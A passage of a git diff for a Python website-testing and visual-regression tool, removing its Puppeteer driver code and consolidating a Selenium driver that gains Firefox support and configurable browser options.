             i += 1  
 
-        self.update_testcase_s(
+        self.update_testcase(
             time_completed=datetime.now()
         )
         quit_driver(driver=self.driver)
@@ -594,306 +489,6 @@ def run_s(self) -> None:
         return None
 
 
-
-
-    async def run_p(self) -> None:
-        """
-        Runs the self.testcase using pupeteer as the driver
-
-        Returns -> None
-        """
-
-        print(f'beginning testcase for {self.site_url}  \
-            using case {self.case_name}')
-        
-        # initate driver
-        self.driver = await driver_p_init()
-        
-        # init page obj 
-        self.page = await self.driver.newPage()
-
-        # setting up page with configs
-        sizes = self.configs['window_size'].split(',')
-        is_mobile = False
-        if self.configs['device'] == 'mobile':
-            is_mobile = True
-        
-        self.page_options = {
-            'waitUntil': 'networkidle0', 
-            'timeout': int(self.configs['max_wait_time'])*1000
-        }
-
-        print(f'setting max timeout to -> {int(self.configs["max_wait_time"])}s')
-
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]),
-            'isMobile': is_mobile,
-        }
-        
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        if self.configs['device'] == 'mobile':
-            await self.page.emulate(emulate_options)
-        else:
-            await self.page.setViewport(viewport)
-
-
-        i = 0
-        for step in self.steps:
-            print(f'-- running step #{i+1} --')
-
-            # adding catch if nav is not first
-            if i == 0 and step['action']['type'] != 'navigate':
-                print(f'navigating to {self.site_url} before first step')
-                # using puppeteer, navigate to site root path & wait for page to load
-                await self.page.goto(f'{self.site_url}', self.page_options)
-                time.sleep(int(self.configs['min_wait_time']))
-
-            if step['action']['type'] == 'navigate':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
-                    # using puppeteer, navigate to requested path & wait for page to load
-                    await self.page.goto(f'{self.site_url}{step["action"]["path"]}', self.page_options)
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['action']['type'] == 'scroll':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'scrolling -> {step["action"]["value"]}')
-              
-                    # scrolling using plain JavaScript
-                    await self.page.evaluate(f'window.scrollTo({step["action"]["value"]});')
-                    time.sleep(int(self.configs['min_wait_time']))
-
-                    # get image
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-               
-            if step['action']['type'] == 'click':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'clicking element -> {step["action"]["element"]}')
-                    # using puppeteer, find and click on the 'element' 
-                    selector = await self.format_element(step["action"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))                 
-                    # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                    element = await self.page.J(selector)
-                    await element.click()
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-
-            if step['action']['type'] == 'change':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-                
-                try:
-                    print(f'changing element to value -> {step["action"]["value"]}') 
-                    # using puppeteer, find and click on the 'element'
-                    if step["action"]["element"] != (None or ''):
-                        selector = await self.format_element(step["action"]["element"])
-                        await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                        # scrolling to element using plain JavaScript 
-                        await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                        element = await self.page.J(selector)
-                        await element.click(clickCount=3)
-                    await self.page.keyboard.type(step["action"]["value"])
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                ) 
-
-            if step['action']['type'] == 'keyDown':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='action', 
-                    start_time=datetime.now()
-                )
-                
-                try:
-                    print(f'keyDown action for key -> {step["action"]["key"]}')
-                    # using puppeteer, press the selected key
-                    await self.page.keyboard.press(step['action']['key'])
-                    time.sleep(int(self.configs['min_wait_time']))
-                    image = await self.save_screenshot(page=self.page)
-                
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='action', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['assertion']['type'] == 'match':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'asserting that element value -> {step["assertion"]["element"]} matches {step["assertion"]["value"]}')
-                    # using puppeteer, find elememt and assert if element.text == assertion.text
-                    selector = await self.format_element(step["assertion"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                    # scrolling to element using plain JavaScript
-                    await self.page.evaluate(f'document.querySelector("{selector}").scrollIntoView()')
-                    elementText = await self.page.evaluate(f'document.querySelector("{selector}").textContent')
-                    elementText = elementText.strip()
-                    print(f'elementText => {elementText}')
-                    print(f'value => {step["assertion"]["value"]}')
-                    assert elementText == step["assertion"]["value"]
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            if step['assertion']['type'] == 'exists':
-                exception = None
-                passed = True
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    start_time=datetime.now()
-                )
-
-                try:
-                    print(f'asserting that element -> {step["assertion"]["element"]} exists')
-                    # using puppeteer, find elememt and assert it exists
-                    selector = await self.format_element(step["assertion"]["element"])
-                    await self.page.waitForSelector(selector, timeout=(int(self.configs['max_wait_time'])*1000))
-                    await self.page.J(selector)
-                    image = await self.save_screenshot(page=self.page)
-
-                except Exception as e:
-                    image = await self.save_screenshot(page=self.page)
-                    exception = await self.format_exception(e)
-                    passed = False
-
-                await self.update_testcase(
-                    index=i, type='assertion', 
-                    end_time=datetime.now(), 
-                    passed=passed, 
-                    exception=exception,
-                    image=image
-                )
-
-            i += 1    
-        await self.update_testcase(
-            time_completed=datetime.now()
-        )
-        await self.driver.close()
-        print('-- testcase run complete --')
-
-        if not self.testcase.passed and self.testcase.configs.get('create_issue'):
-            print('generating new Issue...')
-            Issuer(testcase=self.testcase).build_issue()
-
-        return None
-
-    
-    
-    
     
     
     
\ No newline at end of file
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index f13c6b8a..2e0a8e45 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,6 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
-from .driver_s import *
+from .driver import *
 
 
 
@@ -93,10 +93,20 @@ def add_urls(start_url):
                     if url_is_valid(url):
                         if url.startswith('/'):
                             url = self.url + url
+                        
                         # check status of page
-                        req_status = requests.get(url).status_code
-                        bad_status = [404, 500, 301]
-                        if not (req_status in bad_status):
+                        self.driver.get(url)
+                        # wait for page to load
+                        driver_wait(
+                            driver=self.driver,
+                            max_wait_time=20, 
+                            interval=2
+                        )
+                        
+                        # req_status = requests.get(url).status_code
+                        # bad_status = [404, 500, 301]
+
+                        if self.driver.current_url == url:
                             if url.endswith('/'):
                                 url = url.rstrip('/')
                             if not (url in follow_urls):
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver.py
similarity index 60%
rename from app/api/utils/driver_s.py
rename to app/api/utils/driver.py
index 25447de8..6cc369bc 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver.py
@@ -8,6 +8,7 @@
 
 
 def driver_init(
+        browser: str='chrome',
         window_size: str='1920,1080', 
         device: str='desktop',
         script_timeout: int=30,
@@ -20,6 +21,7 @@ def driver_init(
     Starts a new selenium driver instance
 
     Expects: {
+        'browser'       : str,
         'window_size'   : str, 
         'device'        : str,
         'script_timeout': int,
@@ -32,51 +34,74 @@ def driver_init(
     Returns -> driver object
     """
 
+    # deciding on browser
+    if browser == 'chrome':
+        options = webdriver.ChromeOptions()
+        options.binary_location = os.environ.get('CHROME_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36" + 
+            " (KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
+        )
+    if browser == 'firefox':
+        options = webdriver.FirefoxOptions()
+        options.binary_location = os.environ.get('FIREFOX_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0"
+        )
+
     # setting up browser configs
     sizes = window_size.split(',')
-    prefs = {
-        'download.prompt_for_download': False,
-        'download.extensions_to_open': '.zip',
-        'safebrowsing.enabled': True
-    }
+    width = int(sizes[0])
+    height = int(sizes[1])
     mobile_emulation = {
         "deviceMetrics": { 
-            "width": int(sizes[0]), 
-            "height": int(sizes[1]), 
+            "width": width, 
+            "height": height,
             "pixelRatio": pixel_ratio 
         },
-        "userAgent": (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/122.0.6261.119 Mobile Safari/537.36"
-        ) 
+        "userAgent": mobile_user_agent
     }
 
-    # setting browser options
-    options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROME_BROWSER')
-    options.add_argument("--no-sandbox")
-    options.add_argument("disable-blink-features=AutomationControlled")
-    options.add_experimental_option('prefs',prefs)
-    options.add_argument("start-maximized")
-    options.add_argument("--headless")
-    options.add_argument("--disable-dev-shm-usage")
-    options.add_argument("ignore-certificate-errors")
-    options.add_argument("--hide-scrollbars")
-    options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
-    options.add_argument(f"--window-size={window_size}") 
-    options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
-    options.page_load_strategy = 'none'
-
-    # setting to mobile if reqeusted
-    if device == 'mobile':
-        options.add_experimental_option("mobileEmulation", mobile_emulation)
-
-    # chromedriver_path = os.environ.get("CHROMEDRIVER")
-    # service = webdriver.ChromeService(executable_path=chromedriver_path)
-    driver = webdriver.Chrome(options=options)
-    # driver.set_page_load_timeout(load_timeout)
-    # driver.set_script_timeout(script_timeout)
-    # driver.implicitly_wait(wait_time)
+    # setting broswer options for chrome
+    if browser == 'chrome':
+        options.add_argument("--no-sandbox")
+        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("--headless")
+        options.add_argument("--disable-dev-shm-usage")
+        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--hide-scrollbars")
+        options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.page_load_strategy = 'none'
+        
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        
+        # init driver
+        driver = webdriver.Chrome(options=options)
+    
+    # setting broswer options & profile for firefox
+    if browser == 'firefox':
+        options.add_argument("-headless")
+        options.page_load_strategy = 'none'
+        options.set_preference("accept_insecure_certs", True)
+        options.set_preference('layout.css.devPixelsPerPx', str(scale_factor))
+
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.set_preference(
+                "general.useragent.override", f"userAgent={mobile_user_agent}"
+            )
+        
+        # init driver
+        driver = webdriver.Firefox(options=options)
+    
+
+    # resizing window
+    driver.maximize_window()
+    driver.set_window_size(width, height)
+    print(f'Using {browser} browser')
 
     return driver
 
@@ -91,7 +116,7 @@ def driver_test() -> None:
     Returns -> None
     """
     
-    print("Testing selenium instalation and integration...")
+    print("Testing Selenium...")
     message = 'Selenium was unable to start\n\n'
     status = 'Failed'
     
@@ -183,6 +208,7 @@ def interact_with_page(driver):
 
 def get_data(
         driver: object, 
+        browser: str='chrome',
         interval: int=1, 
         max_wait_time: int=30, 
         min_wait_time: int=3
@@ -193,6 +219,7 @@ def get_data(
 
     Expects: {
         'driver'        : object, 
+        'browser'       : str, 
         'interval'      : int,
         'max_wait_time' : int,
         'min_wait_time' : int
@@ -206,17 +233,28 @@ def get_data(
 
     # setting defaults
     html = None
-    logs = None
+    logs = []
 
     # waiting for page to load
-    driver_wait(driver=driver)
+    driver_wait(
+        driver=driver,
+        interval=interval,
+        max_wait_time=max_wait_time,
+        min_wait_time=min_wait_time
+    )
 
-    # get data from browser
+    # get page_source from browser
     try:
         html = driver.page_source
-        logs = driver.get_log('browser')
     except Exception as e:
         print(e)
+    
+    # get console logs if chrome
+    if browser == 'chrome':
+        try:
+            logs = driver.get_log('browser')
+        except Exception as e:
+            print(e)
 
     # formatting respones
     data = {
diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
deleted file mode 100644
index e0cd8c0b..00000000
--- a/app/api/utils/driver_p.py
+++ /dev/null
@@ -1,263 +0,0 @@
-from pyppeteer import launch
-from scanerr import settings
-import time, os, sys, datetime
-
-
-
-
-
-
-async def driver_init(window_size: str='1920,1080', wait_time: int=30) -> object:
-    """ 
-    Starts a new puppeteer driver instance
-
-    Expects: {
-        'window_size' : str, 
-        'wait_time'   : int
-    } 
-
-    Returns -> driver object
-    """
-
-    # parsing window sizes
-    sizes = window_size.split(',')
-
-    # setting browser options
-    options = {
-        'executablePath': os.environ.get('CHROME_BROWSER'),
-        'args': [
-            '--no-sandbox', 
-            '--disable-dev-shm-usage',
-            '--force-device-scale-factor=0.5',
-            'ignore-certificate-errors',
-            '--hide-scrollbars',
-            f'--window-size={window_size}',
-        ],
-        'defaultViewport': {
-            'width': int(sizes[0]),
-            'height': int(sizes[1]), 
-        },
-        # 'timeout': wait_time * 1000
-    }
-
-    # launching driver
-    driver = await launch(
-        options=options, 
-        headless=True,
-        handleSIGINT=False,
-        handleSIGTERM=False,
-        handleSIGHUP=False
-    )
-    
-    # return driver
-    return driver
-
-
-
-
-async def interact_with_page(page: object=None) -> object:
-    # simulate mouse movement
-    # and returns the page object
-    await page.mouse.move(0, 0)
-    await page.mouse.move(0, 50)
-    return page
-
-
-
-
-async def wait_for_page(page: object=None, max_wait_time: int=30) -> object:
-    """
-    Expects the puppeteer page instance and waits 
-    for either the page to fully load or the max_wait_time
-    to expire before returning.
-
-    Expects: {
-        'page'          : object, 
-        'max_wait_time' : int
-    }
-
-    Returns -> page <pypt:instance>
-    """
-
-    print(f'waiting for page load or {str(max_wait_time)} seconds')
-
-    timeout = 0
-    page_state = 'loading'
-
-    while int(timeout) < int(max_wait_time) and page_state != 'complete':
-        page_state = await page.evaluate('document.readyState')
-        print(f'document state is {page_state}')
-        time.sleep(1)
-        timeout += 1
-
-    return page
-
-
-
-
-async def driver_test() -> None:
-    """ 
-    Spins up a puppeteer driver instance and
-    tests to ensure it can access the browser and internet
-
-    Returns -> None
-    """
-
-    print("Testing puppeteer instalation and integration...")
-    message = 'Puppeteer was unable to start\n\n'
-    status = 'Failed'
-
-    # testing puppeteer
-    try:
-        driver = await driver_init()
-        page = await driver.newPage()
-        await page.goto('https://google.com', {'waitUntil': 'networkidle0'})
-        await interact_with_page(page)
-        title = await page.title()
-        assert title == 'Google'
-        if title == 'Google':
-            status = 'Success'
-            message = 'Puppeteer installed and working \N{check mark} \n'
-
-    # log exception
-    except Exception as e:
-        print(e)
-
-    # logging test results
-    sys.stdout.write(
-        '--- ' + status + ' ---\n'+ message
-    )
-
-    # quiting driver
-    try:
-        await driver.close()
-    except:
-        pass
-    
-    return None
-   
-
-
-
-async def get_data(url: str=None, configs: dict=None) -> dict:
-    """ 
-    Using the puppeteer driver, navigates to the passed 
-    'url' and records the page source and any 
-    present console errors & warnings
-
-    Expects: {
-        url     : str, 
-        configs : dict
-    }
-    
-    Returns -> data: {
-        'html' : str, 
-        'logs' : dict,
-    }
-    """
-
-    # initing the driver
-    sizes = configs['window_size'].split(',')
-    driver = await driver_init(window_size=configs['window_size'])
-    page = await driver.newPage()
-
-    # setting driver configs
-    page_options = {
-        'waitUntil': 'networkidle0', 
-        # 'timeout': configs['max_wait_time']*1000
-    }
-    viewport = {
-        'width': int(sizes[0]),
-        'height': int(sizes[1]),
-    }
-    userAgent = (
-        "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-        (KHTML, like Gecko) Chrome/122.0.6261.119 Safari/537.36"
-    )
-    await page.setViewport(viewport)
-    if configs['device'] == 'mobile':
-        await page.setUserAgent(userAgent)
-    
-    # defining logs
-    logs = []
-
-    def record_logs(log):
-        # helper method to record console
-        # logs in the issues tab
-        if log.type == 'error':
-            if '.js' in log.text:
-                source = 'javascript'
-            elif 'http' in log.text:
-                source = 'network'
-            else:
-                source = 'other'
-            log_obj = {
-                "level": "SEVERE", 
-                "source": source, 
-                "message": str(log.text),
-                "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-            }
-            logs.append(log_obj)
-        elif log.type == 'warning':
-            if '.js' in log.text:
-                source = 'javascript'
-            elif 'http' in log.text:
-                source = 'network'
-            else:
-                source = 'other'
-            log_obj = {
-                "level": "WARNING",
-                "source": source,
-                "message": str(log.text),
-                "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-            }
-            logs.append(log_obj)
-    
-    def record_network(request):
-        # helper method to record console
-        # network issues in the issues tab
-        log_obj = {
-            "level": "SEVERE", 
-            "source": "network",
-            "message": f'{request.failure()["errorText"]} {request.url}',
-            "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-        }
-        logs.append(log_obj)
-
-    def record_error(error):
-        # helper method to record console
-        # page errors in the issues tab
-        err = str(error).split(' at ')[0]
-        log_obj = {
-            "level": "SEVERE", 
-            "source": "javascript",
-            "message": f'{err}',
-            "timestamp": int(datetime.datetime.now().timestamp() * 1000)
-        }
-        logs.append(log_obj)
-
-    # getting console logs, warnings, and errors
-    page.on('console', lambda log : record_logs(log))
-    page.on('requestfailed', lambda request : record_network(request))
-    page.on('pageerror', lambda error : record_error(error))
-
-    # navigate to requested url
-    await page.goto(url, page_options) 
-
-    # await page.waitForNavigation(navWaitOpt)
-    await wait_for_page(page=page)
-    await interact_with_page(page)
-    html = await page.content()
-    
-    # quitting driver
-    await driver.close()
-    
-    # returning data
-    data = {
-        'html': html, 
-        'logs': logs,
-    }
-
-    return data
-
-
diff --git a/app/api/utils/exporter.py b/app/api/utils/exporter.py
index d7145f27..af4dfe60 100644
--- a/app/api/utils/exporter.py
+++ b/app/api/utils/exporter.py
@@ -1,4 +1,4 @@
-from .driver_s import driver_init, driver_wait, quit_driver
+from .driver import driver_init, driver_wait, quit_driver
 from PIL import Image as I
 from .alerts import sendgrid_email
 from scanerr import settings
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 0eb81fee..ad5f28f0 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -1,5 +1,4 @@
-from .driver_s import driver_init, driver_wait, quit_driver
-from .driver_p import driver_init as driver_init_p, wait_for_page
+from .driver import driver_init, driver_wait, quit_driver
 from ..models import Site, Scan, Test, Mask
 from skimage.metrics import structural_similarity
 from scanerr import settings
@@ -20,34 +19,24 @@ class Imager():
     a website.
 
     Also known as VRT or Visual Regression Testing.
-    Contains three methods scan_s(), scan_p(), test(). 
-    The _p appendage denotes using Puppeteer as the webdriver
-    and the _s appendage denotes using Selenium as the webdriver:
+    Contains two methods scan() & test():
 
-        def scan_s(driver=None) -> using selenium
+        def scan_vrt(driver=None) -> using selenium
             grabs multiple screenshots of the website 
             and uploads them to s3.
 
-        def scan_p() -> using puppeteer
-            grabs multiple screenshots of the website 
-            and uploads them to s3.
-
-        def test(test=<test:object>) -> compares each 
+        def test_vrt(test=<test:object>) -> compares each 
             screenshot in the two scans and records 
             a score out of 100%
-
     """
 
 
 
 
-    def __init__(self, scan: object=None, configs: dict=None):
+    def __init__(self, scan: object=None):
 
         # main scan object
         self.scan = scan
-
-        # main configs object
-        self.configs = configs
         
         # main image_array for scans
         self.image_array = []
@@ -155,7 +144,7 @@ def save_image(self, pic_id: str, image: object) -> None:
 
 
 
-    def scan_s(self, driver: object=None) -> list:
+    def scan_vrt(self, driver: object=None) -> list:
         """
         Grabs full length screenshots of the website and uploads 
         them to s3.
@@ -170,7 +159,11 @@ def scan_s(self, driver: object=None) -> list:
         # initialize driver if not passed as param
         driver_present = True
         if not driver:
-            driver = driver_init()
+            driver = driver_init(
+                browser=self.scan.configs.get('browser', 'chrome'),
+                window_size=self.scan.configs.get('window_size', '1920,1080'),
+                device=self.scan.configs.get('device', 'desktop'),
+            )
             driver_present = False
 
         # request page_url 
@@ -179,22 +172,21 @@ def scan_s(self, driver: object=None) -> list:
         # waiting for network requests to resolve
         driver_wait(
             driver=driver, 
-            interval=int(self.configs.get('interval', 5)),  
-            min_wait_time=int(self.configs.get('min_wait_time', 10)),
-            max_wait_time=int(self.configs.get('max_wait_time', 30)),
+            interval=int(self.scan.configs.get('interval', 5)),  
+            min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+            max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
         )
 
         # defining browser demesions
-        sizes = self.configs.get('window_size', '1920,1080').split(',')
+        sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
 
         # getting full_page_height
-        if self.configs.get('auto_height', True):
+        if self.scan.configs.get('auto_height', True):
             full_page_height = driver.execute_script("return document.scrollingElement.scrollHeight;")
-            sizes = self.configs.get('window_size', '1920,1080').split(',')
             driver.set_window_size(int(sizes[0]), int(full_page_height))
 
 
-        if self.configs.get('disable_animations') == True:
+        if self.scan.configs.get('disable_animations') == True:
             # inserting animation pausing script
             try:
                 driver.execute_script(self.pause_animations_script)
@@ -208,8 +200,8 @@ def scan_s(self, driver: object=None) -> list:
                 print('cannnot pause videos')
 
         # mask all listed ids        
-        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
-            ids = self.configs.get('mask_ids').split(',')
+        if self.scan.configs.get('mask_ids') is not None and self.scan.configs.get('mask_ids') != '':
+            ids = self.scan.configs.get('mask_ids').split(',')
             for id in ids:
                 try:
                     driver.execute_script(f"document.getElementById('{id}').style.visibility='hidden';")
@@ -233,21 +225,29 @@ def scan_s(self, driver: object=None) -> list:
         last_height = -1
         bottom = False
         start_time = datetime.now()
+        err_mrgn = 0
         while not bottom:
 
             # checking if maxed out time
-            if self.check_timeout(self.configs.get('timeout', 300), start_time):
+            if self.check_timeout(self.scan.configs.get('timeout', 300), start_time):
                 break
 
             # scroll single frame
             if index != 0:
                 driver.execute_script("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
+                time.sleep(int(self.scan.configs.get('min_wait_time', 10)))
 
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
 
+            # setting err_mrgn if not auto_height
+            if index == 0:
+                if not self.scan.configs.get('auto_height', False):
+                    print(f'{sizes[1]} - {new_height}')
+                    err_mrgn = int(sizes[1]) - int(new_height)
+                    print(f'setting error margin to {err_mrgn}')
+
             print(f'new_height => {new_height} | height_diff => {height_diff}')
 
             if height_diff > 20:
@@ -257,9 +257,9 @@ def scan_s(self, driver: object=None) -> list:
                 # waiting for network requests to resolve
                 driver_wait(
                     driver=driver, 
-                    interval=int(self.configs.get('interval', 5)),  
-                    min_wait_time=int(self.configs.get('min_wait_time', 10)),
-                    max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    interval=int(self.scan.configs.get('interval', 5)),  
+                    min_wait_time=int(self.scan.configs.get('min_wait_time', 10)),
+                    max_wait_time=int(self.scan.configs.get('max_wait_time', 30)),
                 )
 
                 # get screenshot
@@ -267,14 +267,15 @@ def scan_s(self, driver: object=None) -> list:
                 image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
 
                 # resizing image to remove duplicate portions
-                img = I.open(image)
-                width, height = img.size
-                left = 0
-                top = height - (height_diff/2)
-                right = width
-                _bottom = height
-                new_img = img.crop((left, top, right, _bottom))
-                new_img.save(image, quality=100)
+                if index != 0:
+                    img = I.open(image)
+                    width, height = img.size
+                    left = 0
+                    top = height - ((height_diff/2)) # divide by 2 for "driver.scale_factor" 
+                    right = width
+                    botm = height
+                    new_img = img.crop((left, top, right, botm))
+                    new_img.save(image, quality=100)
                             
                 # adding new image to bottom of existing image (if not index = 0)
                 pic_id_2 = uuid.uuid4()
@@ -305,199 +306,7 @@ def scan_s(self, driver: object=None) -> list:
 
 
 
-    async def scan_p(self) -> list:
-        """
-        Using Puppeteer, grabs full length screenshots of the website and uploads 
-        them to s3.
-
-        Returns -> self.image_array list
-        """
-
-        @sync_to_async
-        def get_page():
-            _page = self.scan.page
-            return _page
-        
-        # getting Scanerr `page` object
-        _page = await get_page()
-
-        # starting up puppeteer driver
-        driver = await driver_init_p(
-            window_size=self.configs.get('window_size', '1920,1080'), 
-            wait_time=int(self.configs.get('max_wait_time', 30))
-        )
-
-        # initing new puppeteer page
-        page = await driver.newPage()
-
-        # setting configs for driver
-        sizes = self.configs.get('window_size', '1920,1080').split(',')
-        is_mobile = False
-        if self.configs.get('device') == 'mobile':
-            is_mobile = True
-
-        page_options = {
-            'waitUntil': 'networkidle0', 
-            # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
-        }
-
-        # requesting page_url to get height of 
-        await page.goto(_page.page_url, page_options)
-
-        # waiting for page to load
-        await wait_for_page(page=page)
-
-        # getting full page_height
-        page_height = int(sizes[1])
-        if self.configs.get('auto_height', True):
-            page_height = await page.evaluate("document.scrollingElement.scrollHeight;")
-
-        # setting more driver configs
-        viewport = {
-            'width': int(sizes[0]),
-            'height': int(page_height),
-            'isMobile': is_mobile,
-        }
-        userAgent = (
-            "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 \
-            (KHTML, like Gecko) Chrome/99.0.4812.0 Mobile Safari/537.36"
-        )
-        emulate_options = {
-            'viewport': viewport,
-            'userAgent': userAgent
-        }
-
-        # setting device type
-        if self.configs.get('device') == 'mobile':
-            await page.emulate(emulate_options)
-        else:
-            await page.setViewport(viewport)
-
-        # requesting page_url
-        await page.goto(_page.page_url, page_options)
-
-        # handling anamations
-        if self.configs.get('disable_animations') == True:
-            try:
-                # inserting animation pausing script
-                await page.evaluate(self.pause_animations_script)
-            except:
-                print('cannot pause animations')
-            try:
-                # pausing videos
-                videos = await page.querySelectorAll('video')
-                for vid in videos:
-                    await page.evaluate('(vid) => vid.pause()', vid)
-            except Exception as e:
-                print(e)
-
-        # mask all listed ids
-        if self.configs.get('mask_ids') is not None and self.configs.get('mask_ids') != '':
-            ids = self.configs.get('mask_ids').split(',')
-            for id in ids:
-                try:
-                    await page.evaluate(f"document.getElementById('{id}').style.visibility='hidden';")
-                    print('masked an element')
-                except:
-                    print('cannot find element via id provided')
-
-
-        # mask all Global mask ids that are active
-        @sync_to_async
-        def get_active_global_masks():
-            masks = Mask.objects.filter(active=True)
-            active_masks = []
-            if len(masks) > 0:
-                for mask in masks:
-                    active_masks.append(mask.id)
-            return active_masks
-
-        active_masks = await get_active_global_masks()
-
-        for mask in active_masks:
-            try:
-                await page.evaluate(f"document.getElementById('{mask}').style.visibility='hidden';")
-                print('masked an element')
-            except:
-                print('cannot find element via global mask id provided')
-    
-        @sync_to_async
-        def save_image(*args, **kwargs):
-            self.save_image(pic_id=pic_id, image=final_img)
-
-        # scroll one frame at a time and capture screenshot
-        final_img = None
-        index = 0
-        last_height = -1
-        bottom = False
-        start_time = datetime.now()
-        while not bottom:
-
-            # checking if maxed out time
-            if self.check_timeout(int(self.configs.get('timeout', 300)), start_time):
-                break
-
-            # scroll single frame
-            if index != 0:
-                await page.evaluate("window.scrollBy(0, document.documentElement.clientHeight);")
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
-
-            # get current position and compare to previous
-            new_height = await page.evaluate("window.pageYOffset + document.documentElement.clientHeight")
-            height_diff = new_height - last_height
-            if height_diff > 20:
-                last_height = new_height
-                pic_id = uuid.uuid4()
-
-                # interact with and wait for page to load
-                await page.mouse.move(0, 0)
-                await page.mouse.move(0, 100)
-                time.sleep(int(self.configs.get('min_wait_time', 10)))
-                await wait_for_page(page=page)
-            
-                # get screenshot
-                await page.screenshot({'path': f'{pic_id}.png'})
